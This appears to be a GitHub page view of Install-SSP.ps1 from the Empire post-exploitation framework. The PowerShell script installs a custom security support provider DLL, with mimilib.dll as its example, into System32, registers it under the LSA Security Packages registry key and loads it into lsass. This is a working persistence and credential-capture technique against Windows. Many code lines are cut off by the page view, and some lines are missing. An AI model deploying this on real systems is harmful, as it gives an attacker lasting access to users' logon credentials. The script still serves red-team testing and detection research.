Empire / data / module_source / persistence / Install-SSP.ps1

HarmJ0y Initial BSidesLV '15 release of v1.0.0 751d0c1 · 9 years ago History

```
1   function Install-SSP
2   {
3   <#
4   .SYNOPSIS
5
6   Installs a security support provider (SSP) dll.
7
8   Author: Matthew Graeber (@mattifestation)
9   License: BSD 3-Clause
10  Required Dependencies: None
11  Optional Dependencies: None
12
13  .DESCRIPTION
14
15  Install-SSP installs an SSP dll. Installation involves copying the dll to
16  %windir%\System32 and adding the name of the dll to
17  HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages.
18
19  .PARAMETER Remove
20
21  Specifies the path to the SSP dll you would like to install.
22
23  .EXAMPLE
24
25  Install-SSP -Path .\mimilib.dll
26
27  .NOTES
28
29  The SSP dll must match the OS architecture. i.e. You must have a 64-bit SSP dll
30  if you are running a 64-bit OS. In order for the SSP dll to be loaded properly
31  into lsass, the dll must export SpLsaModeInitialize.
32  #>
33
34      [CmdletBinding()] Param (
35          [ValidateScript({Test-Path (Resolve-Path $_)})]
36          [String]
37          $Path
38      )
39
40      $Principal = [Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdenti
41
42      if(-not $Principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
43      {
44          throw 'Installing an SSP dll requires administrative rights. Execute this scrip
45      }
46
47      # Resolve the full path if a relative path was provided.
48      $FullDllPath = Resolve-Path $Path
49
50      # Helper function used to determine the dll architecture
51      function local:Get-PEArchitecture
52      {
53          Param
54          (
55              [Parameter( Position = 0,
```

```
                    Mandatory = $True )]
        [String]
        $Path
    )

    # Parse PE header to see if binary was compiled 32 or 64-bit
    $FileStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open

    [Byte[]] $MZHeader = New-Object Byte[](2)
    $FileStream.Read($MZHeader,0,2) | Out-Null

    $Header = [System.Text.AsciiEncoding]::ASCII.GetString($MZHeader)
    if ($Header -ne 'MZ')
    {
        $FileStream.Close()
        Throw 'Invalid PE header.'
    }

    # Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header)
    $FileStream.Seek(0x3c, [System.IO.SeekOrigin]::Begin) | Out-Null

    [Byte[]] $lfanew = New-Object Byte[](4)

    # Read offset to the PE Header (will be read in reverse)
    $FileStream.Read($lfanew,0,4) | Out-Null
    $PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | % { $_.ToString('X2') } ) -j

    # Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE
    $FileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null
    [Byte[]] $IMAGE_FILE_MACHINE = New-Object Byte[](2)

    # Read compiled architecture
    $FileStream.Read($IMAGE_FILE_MACHINE,0,2) | Out-Null
    $Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | % { $_.ToString('X2')
    $FileStream.Close()

    if (($Architecture -ne '014C') -and ($Architecture -ne '8664'))
    {
        Throw 'Invalid PE header or unsupported architecture.'
    }

    if ($Architecture -eq '014C')
    {
        Write-Output '32-bit'
    }
    elseif ($Architecture -eq '8664')
    {
        Write-Output '64-bit'
    }
    else
    {
        Write-Output 'Other'
    }
}

$DllArchitecture = Get-PEArchitecture $FullDllPath

$OSArch = Get-WmiObject Win32_OperatingSystem | Select-Object -ExpandProperty OSArc

if ($DllArchitecture -ne $OSArch)
{
    throw 'The operating system architecture must match the architecture of the SSP
}

$Dll = Get-Item $FullDllPath | Select-Object -ExpandProperty Name

# Get the dll filename without the extension.
# This will be added to the registry.
$DllName = $Dll | % { % {($_ -split '\.')[0]} }

# Enumerate all of the currently installed SSPs
$SecurityPackages = Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Na
    Select-Object -ExpandProperty 'Security Packages'
```

```
130         if ($SecurityPackages -contains $DllName)
131         {
132             throw "'$DllName' is already present in HKLM:\SYSTEM\CurrentControlSet\Control\
133         }
134
135         # In case you're running 32-bit PowerShell on a 64-bit OS
136         $NativeInstallDir = "$($Env:windir)\Sysnative"
```



```
141         }
142         else
143         {
144             $InstallDir = "$($Env:windir)\System32"
145         }
146
147         if (Test-Path (Join-Path $InstallDir $Dll))
148         {
149             throw "$Dll is already installed in $InstallDir."
150         }
151
152         # If you've made it this far, you are clear to install the SSP dll.
153         Copy-Item $FullDllPath $InstallDir
154
155         $SecurityPackages += $DllName
156
157         Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Package
158
159         $DynAssembly = New-Object System.Reflection.AssemblyName('SSPI2')
160         $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [
161         $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('SSPI2', $False)
162
163         $TypeBuilder = $ModuleBuilder.DefineType('SSPI2.Secur32', 'Public, Class')
164         $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('AddSecurityPackage',
165             'secur32.dll',
166             'Public, Static',
167             [Reflection.CallingConventions]::Standard,
168             [Int32],
169             [Type[]] @([String], [IntPtr]),
170             [Runtime.InteropServices.CallingConvention]::Winapi,
171             [Runtime.InteropServices.CharSet]::Auto)
172
173         $Secur32 = $TypeBuilder.CreateType()
174
175         if ([IntPtr]::Size -eq 4) {
176             $StructSize = 20
177         } else {
178             $StructSize = 24
179         }
180
181         $StructPtr = [Runtime.InteropServices.Marshal]::AllocHGlobal($StructSize)
182         [Runtime.InteropServices.Marshal]::WriteInt32($StructPtr, $StructSize)
183
184         $RuntimeSuccess = $True
185
186         try {
187             $Result = $Secur32::AddSecurityPackage($DllName, $StructPtr)
188         } catch {
189             $HResult = $Error[0].Exception.InnerException.HResult
190             Write-Warning "Runtime loading of the SSP failed. (0x$($HResult.ToString('X8'))
191             Write-Warning "Reason: $(([ComponentModel.Win32Exception] $HResult).Message)"
192             $RuntimeSuccess = $False
193         }
194
195         if ($RuntimeSuccess) {
196             Write-Verbose 'Installation and loading complete!'
197         } else {
198             Write-Verbose 'Installation complete! Reboot for changes to take effect.'
199         }
200     }
```